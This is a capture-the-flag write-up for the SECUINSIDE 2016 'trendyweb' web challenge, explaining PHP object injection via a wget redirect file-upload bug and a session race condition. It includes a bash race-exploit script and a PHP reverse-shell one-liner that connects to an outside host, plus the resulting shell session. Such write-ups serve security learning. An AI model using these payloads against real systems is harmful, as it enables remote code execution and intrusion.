SECUINSIDE CTF Quals 2016 - trendyweb (Web 100pts)

We are presented with the following challenge:


The challenge website doesn't seem to contain anything interesting on first sight:

Next, we look at the source code at https://gist.github.com/Jinmo/e49dfef9b7325acb12566de3a7f88859:


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(E_ALL);
ini_set('display_errors', 'On');
ini_set('allow_url_fopen', 'On'); // yo!
$session_path = '';
 class MyClass { function __wakeup() { system($_GET['cmd']); // come onn!
 } }
 function onShutdown() {
  global $session_path;
  file_put_contents($session_path. '/pickle', serialize($_SESSION));
 }
 session_start();
 register_shutdown_function('onShutdown');
 function set_context($id) {
  global $_SESSION, $session_path;
  $session_path=getcwd() . '/data/'.$id;
  if(!is_dir($session_path)) mkdir($session_path);
  chdir($session_path);
  if(!is_file('pickle')) $_SESSION = array();
  else $_SESSION = unserialize(file_get_contents('pickle'));
 }
 function download_image($url) {
  $url = parse_url($origUrl=$url);
  if(isset($url['scheme']) && $url['scheme'] == 'http')
   if($url['path'] == '/avatar.png') {
    system('/usr/bin/wget '.escapeshellarg($origUrl));
   }
 }
 if(!isset($_SESSION['id'])) {
  $sessId = bin2hex(openssl_random_pseudo_bytes(10));
  $_SESSION['id'] = $sessId;
 } else {
  $sessId = $_SESSION['id'];
 }
 session_write_close();
 set_context($sessId);
 if(isset($_POST['image'])) download_image($_POST['image']);
?>

<img src="/data/<?php echo $sessId; ?>/avatar.png" width=80 height=80 />

Based on the source code, what happens is:

  1. Line 12: PHP session starts
  2. Line 13: A shutdown function is registered. According to http://php.net/manual/en/function.register-shutdown-function.php, the function will be executed when exit() is called or when the script finishes executing. In this case, it will be the latter since exit() is not called.
  3. Lines 29-34: A random session ID is assigned to the client
  4. Line 35: End the current PHP session. This allows multiple scripts to operate on a single session by releasing the lock on the session data.
  5. Line 36: Call set_context on the session ID. This function creates a unique directory for the session and changes directory into it. If an existing file named 'pickle' is present, the file is unserialized. This would usually be fine if the pickle file comes from a trusted source, but if an adversary gains control of the pickle file, the adversary could exploit PHP Object Injection to gain remote code execution.
  6. Line 37: Finally, if the request contains a POST parameter named 'image', the function download_image is called with this parameter. In download_image, the scheme is checked against 'http' and the path is checked against '/avatar.png' before wget is executed with the URL as its parameter. This means that we can download a file named 'avatar.png' onto the server potentially to make the page display a valid image, but this would obviously not help us solve the challenge.

Ideally, we would like to:

  1. Overwrite the 'pickle' file with our content (which would contain an instance of MyClass)
  2. Trigger an unserialization of our file content, allowing us to execute any arbitrary command via the 'cmd' GET parameter

In order to achieve (1), we would need to exploit a vulnerability in wget detailed at http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt. Summarily, I serialized a MyClass instance using an online PHP interpreter (http://phpfiddle.org/) and got the following results:


Then, I created a HTTP redirect for '/avatar.png' on my web server and pointed it to a file named 'pickle' uploaded on an FTP server with the serialized content shown above. The next step is simply to submit the POST request to the web server.


curl 'http://chal.cykor.kr:8082/' --data 'image=http://****.com/avatar.png' -H 'Cookie: PHPSESSID=*****'

However, after navigating to our data directory, we realize that our file is named 'pickle1' and not 'pickle'. This is because our file 'pickle' was replaced when the shutdown function was triggered. However, there is still a short period of time between the moment our file is downloaded and the moment the shutdown function is called. Also, recall that the session lock is released prior to the set_context function so another request of the same session can be submitted to unserialize the malicious pickle file before it is overwritten by the first request. Eventually, I arrived at the following reusable script that allowed me to execute any arbitrary command:


#!/bin/bash

seed=`date | md5sum | awk '{ print $1 }'`
curl 'http://chal.cykor.kr:8082/' --data 'image=http://****.com/avatar.png' -H 'Cookie: PHPSESSID='${seed} &
sleep 1.5
curl 'http://chal.cykor.kr:8082/?cmd='${1} -H 'Cookie: PHPSESSID='${seed}

To make things easier, I created a reverse shell by executing the following command using my script above (taken from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet):

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

This is the full command that includes the URL-encoded version of the string above:

./trendy.sh 'php%20-r%20%27%24sock%3Dfsockopen(%22redacted-web-server.com%22%2C2222)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20 %3E%263%202%3E%263%22)%3B%27'

Finally, I execute the flag reader:

$ pwd
/var/www/html/data/b98c4773675059013a6f
$ cd /
$ ls
bin
boot
dev
etc
flag_is_heeeeeeeereeeeeee
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ ./flag_is_heeeeeeeereeeeeee
1-day is not trendy enough

And there's the flag, "1-day is not trendy enough"!

Comments